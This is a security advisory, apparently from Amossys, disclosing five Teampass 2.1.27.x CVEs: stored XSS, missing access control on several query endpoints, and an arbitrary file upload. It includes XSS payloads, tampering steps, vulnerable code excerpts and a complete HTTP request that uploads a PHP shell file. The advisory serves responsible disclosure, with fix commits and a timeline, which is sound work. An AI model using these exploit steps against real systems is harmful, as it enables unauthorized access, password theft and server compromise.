Teampass < 2.1.27.9 multiple vulnerabilities

As part of its evaluation centre work, Amossys led a security review of Teampass 2.1.27.8. Multiple security vulnerabilities were found, and here are the CVE publications.

Description

Teampass is a collaborative password manager. It works as a single web application, running basically on an Apache server associated with a MySQL database. On it, users share items, containing passwords as well as associated information like URL or any documentation. Users are distinguished in three categories : simple users, managers and admin. The simple users have only the right to access several items and possibly edit them depending in which category of users they are. Managers can, as their title indicates, manage some categories of simple users, as well as using items. An access control is done on items, meaning that a user of one category can basically only access the items its category can access.

When assessing Teampass security in Amossys Evaluation centre, multiple vulnerabilities were found. In order to help open source projects to get better at security, it was decided to contribute to the project and ask for some CVE numbers in order for corporations to get a follow-up on security of their Teampass product.

CVE-2017-15051: multiple XSS vulnerabilities

Multiple stored cross-site scripting (XSS) vulnerabilities in TeamPass 2.1.27.7 allow authenticated remote attackers to inject arbitrary web script or HTML via the (1) URL value of an item or (2) user log history.

  • Access Vector: remote, authenticated
  • Security Risk: low
  • Vulnerable version: <= 2.1.27.7
  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15051

exploitation

For the first one, the attacker has to simply inject XSS code within the URL field of a shared item, for example by setting it to http://teampass<script>alert(1)</script>. From there, any user accessing the item triggers the XSS:

FigXXS2

For the second one however, the attacker must prepare a payload within its email, like test<script>alert(2)</script>@test.com, and then asks an administrator to modify its profile. From there, whenever the administrator or a manager accesses the log of the user, the XSS is triggered:

FigXXS2

CVE-2017-15052: No proper access control on users.queries.php

TeamPass version 2.1.27.8 and earlier does not properly enforce manager access control when requesting users.queries.php. It is then possible for a manager user to delete an arbitrary user (including admin), or modify attributes of any arbitrary user except administrator.

  • Access Vector: remote, authenticated, privileged user
  • Security Risk: low
  • Vulnerable version: <= 2.1.27.8
  • Reference: FIX: https://github.com/nilsteampassnet/TeamPass/commit/8f2d51dd6c24f76e4f259d0df22cff9b275f2dd1
  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15052

exploitation

to exploit the vulnerability, an authenticated attacker must have the manager rights on the application, then tamper with the requests sent directly, for example by changing the "id" parameter when invoking "delete_user" on users.queries.php. For example, setting the parameter id to "1" when deleting a user permits to delete the actual administrator of the application.

CVE-2017-15053: No proper access control on roles.queries.php

TeamPass version 2.1.27.8 and earlier does not properly enforce manager access control when requesting roles.queries.php. It is then possible for a manager user to modify any arbitrary roles within the application, or delete any arbitrary role.

  • Access Vector: remote, authenticated, privileged user
  • Security Risk: low
  • Vulnerable version: <= 2.1.27.8
  • Reference: FIX: https://github.com/nilsteampassnet/TeamPass/commit/ef32e9c28b6ddc33cee8a25255bc8da54434af3e#diff-1b4ddbc831e3ff976e1697a8189de688
  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15053

exploitation

To exploit the vulnerability, an authenticated attacker must have the manager rights on the application, then tamper with the requests sent directly, for example by changing the "id" parameter when invoking "delete_role" on roles.queries.php. Here is the associated code to "delete role", where one can see there is no proper check on "id" parameter":

//-------------------------------------------
#CASE delete a role
case "delete_role":
    DB::delete(prefix_table("roles_title"), "id = %i", $_POST['id']);
    DB::delete(prefix_table("roles_values"), "role_id = %i", $_POST['id']);
    //Actualize the variable
    $_SESSION['nb_roles']--;

    // parse all users to remove this role
    $rows = DB::query(
        "SELECT id, fonction_id FROM ".prefix_table("users")."
        ORDER BY id ASC");
    foreach ($rows as $record) {
        $tab = explode(";", $record['fonction_id']);
        if (($key = array_search($_POST['id'], $tab)) !== false) {
            // remove the deleted role id
            unset($tab[$key]);

            // store new list of functions
            DB::update(
                prefix_table("users"),
                array(
                    'fonction_id' => rtrim(implode(";", $tab), ";")
                    ),
                "id = %i",
                $record['id']
            );
        }
    }

    echo '[ { "error" : "no" } ]';
    break;

CVE-2017-15054: arbitrary file upload

An arbitrary file upload vulnerability, present in TeamPass 2.1.27.8 and earlier, allows remote authenticated users to upload arbitrary files leading to remote command execution.

  • Access Vector: remote, authenticated
  • Security Risk: high
  • Vulnerable version: <= 2.1.27.8
  • Reference: FIX: https://github.com/nilsteampassnet/TeamPass/commit/9811c9d453da4bd1101ff7033250d1fbedf101fc#diff-4adc632318a3f847186449735b362e21
  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15054

exploitation

To exploit this vulnerability, an authenticated attacker has to tamper with parameters of a request to upload.files.php, in order to select the correct branch and be able to upload any arbitrary file. From there, it can simply access the file to execute code on the server. Here is a PoC request:

POST /teampass/sources/upload/upload.files.php HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
   Accept: */*
   Accept-Language: en-US,en;q=0.5
   Referer: http://localhost/teampass/index.php?page=manage_users
   Content-Type: multipart/form-data; boundary=----moxieboundary1510935573083
   Content-Length: 885
   Cookie: ccfc552b8b950dbd8894e23f19a0d167e224ef4f73bd1b100b=43d63a8ebe8d7b140b36ea8e63fe52d17db854281400a8ae50; KEY_PHPSESSID=VCapVaxHIaMVVcKHfzVVZ4Axdx1TmQughDSE%2FNojbtNP8%2BxsKe1BzNVjg5okvVYAHXBLAMdzy9gNgcvtUd5iiA%3D%3D; PHPSESSID=15f1ikkilju907f0043jslcm01; jstree_select=1
   Connection: close

   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="name"

   o_1bv5ce62q5cpnf01uso1o4911b4f.png
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="chunk"

   0
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="chunks"

   1
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="PHPSESSID"

   10000002
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="File"

   shell.php
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="type_upload"

   test
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="user_token"

   shag9ieNgiev3thohgh9ahNgi
   ------moxieboundary1510935573083
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: application/x-php

   <?php
   echo "Hacked !";
   ?>
   ------moxieboundary1510935573083--

CVE-2017-15055: No proper access control on items.queries.php

TeamPass version 2.1.27.8 and earlier does not properly enforce item access control when requesting items.queries.php. It is then possible to copy any arbitrary item into a directory controlled by the attacker, edit any item within a read-only directory, delete an arbitrary item, delete the file attachments of an arbitrary item, copy the password of an arbitrary item to the copy/paste buffer, access the history of an arbitrary item, and edit attributes of an arbitrary directory.

  • Access Vector: remote, authenticated
  • Security Risk: medium
  • Vulnerable version: <= 2.1.27.8
  • Reference: FIX: https://github.com/nilsteampassnet/TeamPass/commit/5f16f6bb132138ee04eb1e0debf2bdc7d7b7a15f#diff-39faa1bd4561f6f83a0022dd719124f8
  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15055

exploitation

To exploit the vulnerability, an authenticated attacker must tamper with the requests sent directly, for example by changing the "item_id" parameter when invoking "copy_item" on items.queries.php. From there, it can copy any item within one of its accessible directory in order to read the password value. Here is the vulnerable code that does not properly check the user's right on "id" parameter:

        case "copy_item":
            // Check KEY and rights
            if ($_POST['key'] != $_SESSION['key']) {
                $returnValues = '[{"error" : "not_allowed"}, {"error_text" : "1'.addslashes($LANG['error_not_allowed_to']).'"}]';
                echo $returnValues;
                break;
            }

            // perform a check in case of Read-Only user creating an item in his PF
            if ($_SESSION['user_read_only'] === '1' && (!in_array($_POST['source_id'], $_SESSION['personal_folders']) || !in_array($_POST['des_id'], $_SESSION['personal_folders']))) {
                $returnValues = '[{"error" : "not_allowed"}, {"error_text" : "2'.addslashes($LANG['error_not_allowed_to']).'"}]';
                echo $returnValues;
                break;
            }

            $returnValues = $pw = "";
            $is_perso = 0;

            if (isset($_POST['item_id']) && !empty($_POST['item_id']) && !empty($_POST['dest_id'])) {
                // load the original record into an array
                $originalRecord = DB::queryfirstrow(
                    "SELECT * FROM ".prefix_table("items")."
                    WHERE id=%i",
                    $_POST['item_id']
                );
                $dataDestination = DB::queryfirstrow(
                    "SELECT personal_folder FROM ".prefix_table("nested_tree")."
                    WHERE id=%i",
                    $_POST['dest_id']
                );

            [...]
                [copy item]
            [...]

Conclusion

Amossys asks users of Teampass application to update as soon as they can to the latest version available.

Timeline (dd/mm/yyyy)

  • 10/08/2017: Initial Discovery
  • 29/09/2017: Initial Contact with Nils Laumaill√© (creator of Teampass) and acknowledgement of the vulnerabilities
  • 13/10/2017: New version of Teampass including fixes
  • 17/11/2017: Public Disclosure